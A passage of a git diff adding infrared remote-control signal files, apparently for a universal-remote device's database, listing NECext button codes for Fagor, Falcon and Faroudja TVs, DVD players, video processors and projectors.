+address: 84 E0 00 00 +command: 75 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 76 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 77 00 00 00 +# +name: KEY_PROGRETURN +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 78 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 79 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 7A 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 7B 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 7C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 7D 00 00 00 +# +name: KEY_SCREENMODE +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 90 00 00 00 +# +name: KEY_PIP +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 91 00 00 00 +# +name: KEY_DISP +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 9B 00 00 00 +# +name: KEY_EXPAND +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 9D 00 00 00 +# +name: KEY_TXT +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: A8 00 00 00 +# +name: KEY_REVEAL +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: A9 00 00 00 +# +name: KEY_TXTSTOPSEQUENCE +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: AA 00 00 00 +# +name: KEY_SUBCODE +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: AD 00 00 00 +# +name: KEY_TXTCONTENTSPAGE +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: AE 00 00 00 +# +name: KEY_SERVICE +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir new file mode 100644 index 000000000..63d0b4816 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 84 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 88 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 89 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 8A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 8C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 90 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 91 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 94 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 95 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 96 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 97 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 98 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 99 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 9A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 9B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 9F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: C0 00 00 00 +command: D4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir b/assets/resources/infrared/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir new file mode 100644 index 000000000..fe28ab4db --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: store +type: parsed +protocol: NECext +address: 10 2F 00 00 +command: 82 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 10 2F 00 00 +command: 83 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 10 2F 00 00 +command: 84 00 00 00 +# +name: skew_up +type: parsed +protocol: NECext +address: 10 2F 00 00 +command: 85 00 00 00 +# +name: skew_down +type: parsed +protocol: NECext +address: 10 2F 00 00 +command: 86 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 10 2F 00 00 +command: 87 00 00 00 +# +name: audio_down +type: parsed +protocol: NECext +address: 10 2F 00 00 +command: 88 00 00 00 +# +name: bw +type: parsed +protocol: NECext +address: 10 2F 00 00 +command: 89 00 00 00 +# +name: h/v +type: parsed +protocol: NECext +address: 10 2F 00 00 +command: 8A 00 00 00 +# +name: audio_up +type: parsed +protocol: NECext +address: 10 2F 00 00 +command: 8B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 10 2F 00 00 +command: 9A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 10 2F 00 00 +command: 9B 00 00 00 +# +name: norm +type: parsed +protocol: NECext +address: 10 2F 00 00 +command: 9C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 10 2F 00 00 +command: 9D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 10 2F 00 00 +command: 9E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 10 2F 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir new file mode 100644 index 000000000..1b32448d7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 98 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CONDITION_MEMORY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: LAST_MEMORY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SEARCH_MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: STEP/SLOW_<< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: STEP/SLOW_>> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9A 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9B 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9C 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir new file mode 100644 index 000000000..eb21ca2a2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 63 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 64 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: EC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: EF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir new file mode 100644 index 000000000..31b2736ce --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT_MODE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: FACTORY_PRESET +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: USER_PRESETS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: FUNCTION_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: VALUE_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: FUNCTION_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: VALUE_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir new file mode 100644 index 000000000..31b2736ce --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT_MODE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: FACTORY_PRESET +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: USER_PRESETS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: FUNCTION_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: VALUE_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: FUNCTION_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: VALUE_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Processor/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Processor/1,-1.ir new file mode 100644 index 000000000..47e51f4c3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Processor/1,-1.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT_MODE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: PRESET/ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: SELECT/ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: FUNCTION_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: FUNCTION_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: VALUE_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: VALUE_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: FUNCTION_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: FUNCTION_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: VALUE_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: VALUE_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir new file mode 100644 index 000000000..73dce7186 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT_MODE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: PRESET/ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: FACTORY_PRESET +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: USER_PRESETS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: FUNCTION_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: FUNCTION_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: VALUE_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: FUNCTION_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: FUNCTION_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: VALUE_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: BRIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: BRIGHTNESS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: CONTRAST +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: COLOR +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: TINT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: DETAIL +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: NOISE_REDUCTION +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir new file mode 100644 index 000000000..2aca4aff0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 01 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 02 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 03 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 04 00 00 00 +# +name: RGB +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 05 00 00 00 +# +name: YCRCB +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 06 00 00 00 +# +name: PASS-T +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 07 00 00 00 +# +name: PASS-TX +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 08 00 00 00 +# +name: 4:3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 09 00 00 00 +# +name: ANAMORPHIC +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0B 00 00 00 +# +name: BRIGHTNESS +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 +# +name: CONTRAST +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0D 00 00 00 +# +name: COLOR +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0E 00 00 00 +# +name: TINT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0F 00 00 00 +# +name: DETAIL +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 10 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 11 00 00 00 +# +name: PROFILE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 12 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 13 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 14 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 15 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 16 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 17 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 18 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 19 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1A 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1F 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 20 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 21 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir new file mode 100644 index 000000000..1283b5316 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir new file mode 100644 index 000000000..0118d2fca --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: VALUE_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: TINT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: NOISE_REDUCTION +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: RGB +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: YCRCB +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: 4:3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 +# +name: ANAMORPHIC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 22 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 23 00 00 00 +# +name: PST1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: PST2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 26 00 00 00 +# +name: PST3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 27 00 00 00 +# +name: PST4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 28 00 00 00 +# +name: FACTORY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 29 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir new file mode 100644 index 000000000..b5fbc5e9c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 60 